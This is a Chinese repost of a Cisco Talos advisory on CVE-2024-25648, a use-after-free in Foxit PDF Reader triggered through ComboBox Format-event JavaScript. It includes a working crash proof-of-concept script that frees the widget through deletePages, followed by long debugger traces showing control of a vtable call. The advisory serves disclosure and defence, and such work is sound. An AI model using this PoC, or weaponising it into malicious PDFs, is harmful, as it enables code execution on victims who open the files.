(CVE-2024-25648)福昕阅读器 ComboBox 小部件格式事件 UAF

admin 2024年5月2日01:28:59评论9 views字数 15574阅读51分54秒阅读模式

(CVE-2024-25648)福昕阅读器 ComboBox 小部件格式事件 UAF

CVE 编号

CVE-2024-25648

概括

Foxit Reader 2024.1.0.23997 处理 ComboBox 小部件的方式存在释放后使用漏洞。恶意 PDF 文档中特制的 JavaScript 代码可以触发先前释放的对象的重用,这可能导致内存损坏并导致任意代码执行。攻击者需要诱骗用户打开恶意文件才能触发此漏洞。如果启用了浏览器插件扩展,用户访问特制的恶意网站也可能被利用。

已确认的易受攻击版本

以下版本已被 Talos 测试或验证为易受攻击,或被供应商确认为易受攻击。

福昕阅读器2024.1.0.23997

产品网址

福昕阅读器 - https://www.foxitsoftware.com/pdf-reader/

CVSSV3 分数

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - 释放后使用

细节

Foxit PDF Reader是最受欢迎的PDF文档阅读器之一。它的目标是与 Adobe 的 Acrobat Reader 功能相同。作为一个完整且功能丰富的 PDF 阅读器,它支持 JavaScript 来实现交互式文档和动态表单。 JavaScript 支持带来了额外的攻击面。 Foxit Reader使用V8 JavaScript引擎。

PDF 渲染器和编辑器中的 JavaScript 支持使动态文档能够根据用户输入或事件进行更改。 Foxit Reader处理ComboBox对象的方式存在释放后使用漏洞。这可以通过以下概念验证代码来说明:

function main() {   app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] )   getField('aaaa').setAction("Format",'delete_pages();');  app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ; }function delete_pages() {   app.activeDocs[0].deletePages();  app.activeDocs[0].deletePages();}

上面的代码创建了一个 ComboBox 小部件,并为其Format事件分配了一个回调函数,该回调函数会由第二次调用 立即触发addField。在操作回调中,发生的所有事情都是对 的调用deletePages,这最终会释放与页面关联的所有对象。当 ComboBox 对象被释放deletePages()并且在未经任何验证的情况下使用时,就会发生释放后使用漏洞。我们可以在调试器中观察到以下内容(启用 PageHeap):

0:000> geax=00420000 ebx=072fe18c ecx=00420000 edx=155d432c esi=00000004 edi=155f31a0eip=01750027 esp=072fddac ebp=072fde00 iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506d77:01750027 8b75d8          mov     esi,dword ptr [ebp-28h] ss:002b:072fddd8=12d3c4a00:000> geax=072fd530 ebx=072fd59c ecx=02904f80 edx=00000002 esi=12ceebd0 edi=12cd8198eip=02cd56e9 esp=072fd508 ebp=072fd548 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!FXJSE_GetClass+0x269:02cd56e9 ffd1            call    ecx {FoxitPDFReader!safe_vsnprintf+0x116a150 (02904f80)}  ;<---------------- (1)0:000> gModLoad: 71380000 716d7000   C:Program Files (x86)Foxit SoftwareFoxit PDF ReaderpluginsPDFAccessibility.fpijs calleax=072fd530 ebx=072fd59c ecx=02904f80 edx=00000002 esi=158d1e10 edi=16417ce0eip=02cd56e9 esp=072fd508 ebp=072fd548 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!FXJSE_GetClass+0x269:02cd56e9 ffd1            call    ecx {FoxitPDFReader!safe_vsnprintf+0x116a150 (02904f80)}  ;<---------------- (2)0:000> geax=072fae40 ebx=0c3a0174 ecx=12d3c4a0 edx=07111000 esi=0c3a0170 edi=13151348eip=005aad36 esp=072fae64 ebp=072fd28c iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb886:005aad36 8b01            mov     eax,dword ptr [ecx]  ds:002b:12d3c4a0=0472e7940:000> dd 12d3c4a0                                                                         ;<---------------- (3)12d3c4a0  0472e794 133185e0 155ec3e0 12d41cc012d3c4b0  e0e0e000 00000001 10b9c9e8 0100010112d3c4c0  00000004 00000000 162d49b0 0000000012d3c4d0  10b9c944 135b09e0 157ec0d8 0000000012d3c4e0  00000000 00000000 00000000 0000000012d3c4f0  00000000 e0e0e000 00000000 0000000012d3c500  00000000 a0a0a0a0 a0a0a0a0 001b013012d3c510  00000000 00000000 96981050 161b01520:000> peax=0472e794 ebx=0c3a0174 ecx=12d3c4a0 edx=07111000 esi=0c3a0170 edi=13151348eip=005aad38 esp=072fae64 ebp=072fd28c iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb888:005aad38 6a01            push    10:000> peax=0472e794 ebx=0c3a0174 ecx=12d3c4a0 edx=07111000 esi=0c3a0170 edi=13151348eip=005aad3a esp=072fae60 ebp=072fd28c iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb88a:005aad3a ff5004          call    dword ptr [eax+4]    ds:002b:0472e798=0174e360          ;<---------------- (4)0:000> peax=12d3c4a0 ebx=0c3a0174 ecx=12d3c4a0 edx=00000001 esi=0c3a0170 edi=13151348eip=005aad3d esp=072fae64 ebp=072fd28c iopl=0         nv up ei pl nz ac po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200212FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb88d:005aad3d 83c604          add     esi,40:000> dd 12d3c4a0                                                                        ;<---------------- (5)12d3c4a0  f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f012d3c4b0  f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f012d3c4c0  f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f012d3c4d0  f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f012d3c4e0  f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f012d3c4f0  f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f012d3c500  f0f0f0f0 a0a0a0a0 a0a0a0a0 001b013012d3c510  00000000 00000000 96981050 161b0152

在上面[1]及[2]以上,调用javascript::CFXJS_Document::deletePages_static与 JavaScript API 关联的方法。deletePages()对该方法的第二次调用调用该类deletePages_static()的析构函数方法。此析构函数调用会释放易受攻击的对象。在和 处检查易受攻击对象的值。它显示调用析构函数方法之前和之后的值。易受攻击的对象是一种 ComboBox 对象,稍后无需任何验证即可使用。崩溃时可以在调试器中观察到这一点:CBF_Widget[4]CBF_WidgetCBF_Widget[3][5]CBF_Widget

0:000> peax=00000000 ebx=072fe18c ecx=07111000 edx=07111000 esi=12d3c4a0 edi=155f31a0eip=0175009b esp=072fddac ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506deb:0175009b 8d4dec          lea     ecx,[ebp-14h]0:000> peax=00000000 ebx=072fe18c ecx=072fddec edx=07111000 esi=12d3c4a0 edi=155f31a0eip=0175009e esp=072fddac ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506dee:0175009e e81d536000      call    FoxitPDFReader!safe_vsnprintf+0x5ba590 (01d553c0)0:000> peax=00000000 ebx=072fe18c ecx=07111000 edx=07111000 esi=12d3c4a0 edi=155f31a0eip=017500a3 esp=072fddac ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506df3:017500a3 c745fcffffffff  mov     dword ptr [ebp-4],0FFFFFFFFh ss:002b:072fddfc=000000000:000> peax=00000000 ebx=072fe18c ecx=07111000 edx=07111000 esi=12d3c4a0 edi=155f31a0eip=017500aa esp=072fddac ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506dfa:017500aa 8d4d24          lea     ecx,[ebp+24h]0:000> peax=00000000 ebx=072fe18c ecx=072fde24 edx=07111000 esi=12d3c4a0 edi=155f31a0eip=017500ad esp=072fddac ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506dfd:017500ad e80e536000      call    FoxitPDFReader!safe_vsnprintf+0x5ba590 (01d553c0)0:000> peax=155dd518 ebx=072fe18c ecx=072fde24 edx=07111000 esi=12d3c4a0 edi=155f31a0eip=017500b2 esp=072fddac ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e02:017500b2 8bc6            mov     eax,esi0:000> peax=12d3c4a0 ebx=072fe18c ecx=072fde24 edx=07111000 esi=12d3c4a0 edi=155f31a0eip=017500b4 esp=072fddac ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e04:017500b4 8b4df4          mov     ecx,dword ptr [ebp-0Ch] ss:002b:072fddf4=072fde400:000> peax=12d3c4a0 ebx=072fe18c ecx=072fde40 edx=07111000 esi=12d3c4a0 edi=155f31a0eip=017500b7 esp=072fddac ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e07:017500b7 64890d00000000  mov     dword ptr fs:[0],ecx fs:0053:00000000=072fddf40:000> peax=12d3c4a0 ebx=072fe18c ecx=072fde40 edx=07111000 esi=12d3c4a0 edi=155f31a0eip=017500be esp=072fddac ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e0e:017500be 59              pop     ecx0:000> peax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=12d3c4a0 edi=155f31a0eip=017500bf esp=072fddb0 ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e0f:017500bf 5f              pop     edi0:000> peax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=12d3c4a0 edi=10bd0640eip=017500c0 esp=072fddb4 ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e10:017500c0 5e              pop     esi0:000> peax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640eip=017500c1 esp=072fddb8 ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e11:017500c1 8be5            mov     esp,ebp0:000> peax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640eip=017500c3 esp=072fde00 ebp=072fde00 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e13:017500c3 5d              pop     ebp0:000> peax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640eip=017500c4 esp=072fde04 ebp=072fde4c iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e14:017500c4 c3              ret0:000> peax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640eip=00d7e5ce esp=072fde08 ebp=072fde4c iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202FoxitPDFReader!CryptUIWizExport+0x3574e:00d7e5ce 83c420          add     esp,20h0:000> peax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640eip=00d7e5d1 esp=072fde28 ebp=072fde4c iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206FoxitPDFReader!CryptUIWizExport+0x35751:00d7e5d1 eb56            jmp     FoxitPDFReader!CryptUIWizExport+0x357a9 (00d7e629)0:000> peax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640eip=00d7e629 esp=072fde28 ebp=072fde4c iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206FoxitPDFReader!CryptUIWizExport+0x357a9:00d7e629 8bc8            mov     ecx,eax0:000> peax=12d3c4a0 ebx=072fe18c ecx=12d3c4a0 edx=07111000 esi=10c6a018 edi=10bd0640eip=00d7e62b esp=072fde28 ebp=072fde4c iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206FoxitPDFReader!CryptUIWizExport+0x357ab:00d7e62b 85c9            test    ecx,ecx0:000> peax=12d3c4a0 ebx=072fe18c ecx=12d3c4a0 edx=07111000 esi=10c6a018 edi=10bd0640eip=00d7e62d esp=072fde28 ebp=072fde4c iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206FoxitPDFReader!CryptUIWizExport+0x357ad:00d7e62d 742d            je      FoxitPDFReader!CryptUIWizExport+0x357dc (00d7e65c) [br=0]0:000> peax=12d3c4a0 ebx=072fe18c ecx=12d3c4a0 edx=07111000 esi=10c6a018 edi=10bd0640eip=00d7e62f esp=072fde28 ebp=072fde4c iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206FoxitPDFReader!CryptUIWizExport+0x357af:00d7e62f 8b01            mov     eax,dword ptr [ecx]  ds:002b:12d3c4a0=f0f0f0f0 ; <---------------- [6]0:000> peax=f0f0f0f0 ebx=072fe18c ecx=12d3c4a0 edx=07111000 esi=10c6a018 edi=10bd0640eip=00d7e631 esp=072fde28 ebp=072fde4c iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206FoxitPDFReader!CryptUIWizExport+0x357b1:00d7e631 8b4044          mov     eax,dword ptr [eax+44h] ds:002b:f0f0f134=???????? ; <---------------- [7]0:000> uFoxitPDFReader!CryptUIWizExport+0x357b1:00d7e631 8b4044          mov     eax,dword ptr [eax+44h]00d7e634 ffd0            call    eax00d7e636 8bf0            mov     esi,eax00d7e638 c745fcffffffff  mov     dword ptr [ebp-4],0FFFFFFFFh00d7e63f 8d4d24          lea     ecx,[ebp+24h]00d7e642 e8796dfd00      call    FoxitPDFReader!safe_vsnprintf+0x5ba590 (01d553c0)00d7e647 8bc6            mov     eax,esi00d7e649 8b4df4          mov     ecx,dword ptr [ebp-0Ch]0:000> kb # ChildEBP RetAddr      Args to Child              WARNING: Stack unwind information not available. Following frames may be wrong.00 072fde4c 029aeb05     072fde24 00000000 41500000 FoxitPDFReader!CryptUIWizExport+0x357b101 072fdf38 0294f51a     10b70bb0 00000000 00000004 FoxitPDFReader!safe_vsnprintf+0x1213cd502 072fe050 02903529     15de8118 072fe118 072fe098 FoxitPDFReader!safe_vsnprintf+0x11b46ea03 072fe0f0 02cd56eb     15de8118 072fe120 072fe118 FoxitPDFReader!safe_vsnprintf+0x11686f904 072fe138 02eb9a6b     12f50ba8 27629525 12f50ba8 FoxitPDFReader!FXJSE_GetClass+0x26b05 072fe1a0 02eb922e     072fe1e8 27629525 072fe2c4 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3cab06 072fe234 02eb94e5     072fe264 12f50ba8 072fe2c4 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e346e07 072fe27c 02eb936b     072fe294 00000009 072fe2e0 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e372508 072fe298 030db17b     00000009 072fe2e0 12f50ba8 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e35ab09 072fe2b8 030771d9     37342339 2ed520e5 00000012 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x4053bb0a 072fe310 030771d9     2763eb6d 2ed51ddd 2ed51e31 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a14190b 072fe33c 03075860     2763eb6d 373421b1 2ed51ddd FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a14190c 072fe354 03075689     00000000 00000000 00000002 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x39faa00d 072fe380 02d11f4e     12f50ba8 37342339 2ed51ddd FoxitPDFReader!CFXJSE_Arguments::GetValue+0x39f8c90e 072fe490 02d11a42     072fe624 12f50ba8 072fe4ec FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3c18e0f 072fe518 02cfa744     072fe624 12f50ba8 1daaf41c FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3bc8210 072fe6c8 02cfa240     072fe764 1daaf444 00000000 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2498411 072fe6dc 02cd3c5f     072fe764 1daaf444 3d298585 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2448012 072fe754 02cd4596     1daaf41c 15c858b8 1daaf408 FoxitPDFReader!FXJSE_Runtime_Release+0xeaf13 072fe790 02878af7     10b7d580 154f147c 15c858b8 FoxitPDFReader!FXJSE_ExecuteScript+0x8614 072fe848 0287a129     00000000 072fe8d8 072fe880 FoxitPDFReader!safe_vsnprintf+0x10ddcc715 072fe860 00bb20df     072fe8d8 072fe880 3d298a41 FoxitPDFReader!safe_vsnprintf+0x10df2f916 072fe890 00bb0fa4     13075cf8 00000015 072fe8b8 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c69cf17 072fe8d0 00baf9d0     186c9020 10b707f0 12e38c38 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c589418 072fe924 0049d322     072fe954 10b707f0 12e38c38 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c42c019 072fe974 0071901b     00000000 3d299749 7fffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x88521a 072ff598 03cb9713     00000000 00000000 3d2994b9 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x6194b1b 072ff668 03cba8ec     00000429 00000000 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x199cc31c 072ff68c 03cb5292     00000429 00000000 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x19ae9c1d 072ff700 03cb5b05     15d80558 0004094e 00000429 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1958421e 072ff720 750c120b     0004094e 00000429 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1960b51f 072ff74c 750b81ca     03cb5ad1 0004094e 00000429 USER32!_InternalCallWinProc+0x2b20 072ff830 750b5f2a     03cb5ad1 00000000 00000429 USER32!UserCallWinProcCheckWow+0x33a21 072ff8a4 750b5cf0     00000329 072ff8cc 0069f324 USER32!DispatchMessageWorker+0x22a22 072ff8b0 0069f324     0c3c8fe8 0c3c8fe8 057d98e8 USER32!DispatchMessageW+0x1023 072ff8cc 0069f3e3     057d98e8 0069f350 ffffffff FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0x1dfe7424 072ff8ec 040e29c2     00000000 0580550c 0710e000 FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0x1dff3325 072ff904 03e9cef1     00250000 00000000 0c3653c4 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5c2f7226 072ff950 76ddfcc9     0710e000 76ddfcb0 072ff9bc FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x37d4a127 072ff960 77247c6e     0710e000 8017ce93 00000000 KERNEL32!BaseThreadInitThunk+0x1928 072ff9bc 77247c3e     ffffffff 77268c33 00000000 ntdll!__RtlUserThreadStart+0x2f29 072ff9cc 00000000     03e9cfc0 0710e000 00000000 ntdll!_RtlUserThreadStart+0x1b

在[6]上面,我们可以观察到ecx包含相同的内存指针,该指针属于已释放的分配。 in 中的值ecx被取消引用,就像它是一个对象指针一样。这直接导致释放后使用情况并导致崩溃。后续指令构成通常的 vtable 函数调用,实际函数指针来自 指向的区域ecx。这将使攻击者能够直接控制执行控制流。

由于可以在对象释放和重用之间执行额外的 Javascript 代码,因此释放的内存可能会受到攻击者的控制。通过仔细的内存布局操作,这可能会导致进一步的内存损坏并最终导致任意代码执行。

供应商回应

供应商已提供更新版本

时间线

2024-04-01 - 供应商披露

2024-04-28 - 供应商补丁发布

2024-04-30 - 公开发布

信用

由 Cisco Talos 的 KPC 发现。

报告地址:

https://talosintelligence.com/vulnerability_reports/TALOS-2024-1959

原文始发于微信公众号(Ots安全):(CVE-2024-25648)福昕阅读器 ComboBox 小部件格式事件 UAF

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月2日01:28:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   (CVE-2024-25648)福昕阅读器 ComboBox 小部件格式事件 UAFhttps://cn-sec.com/archives/2704954.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息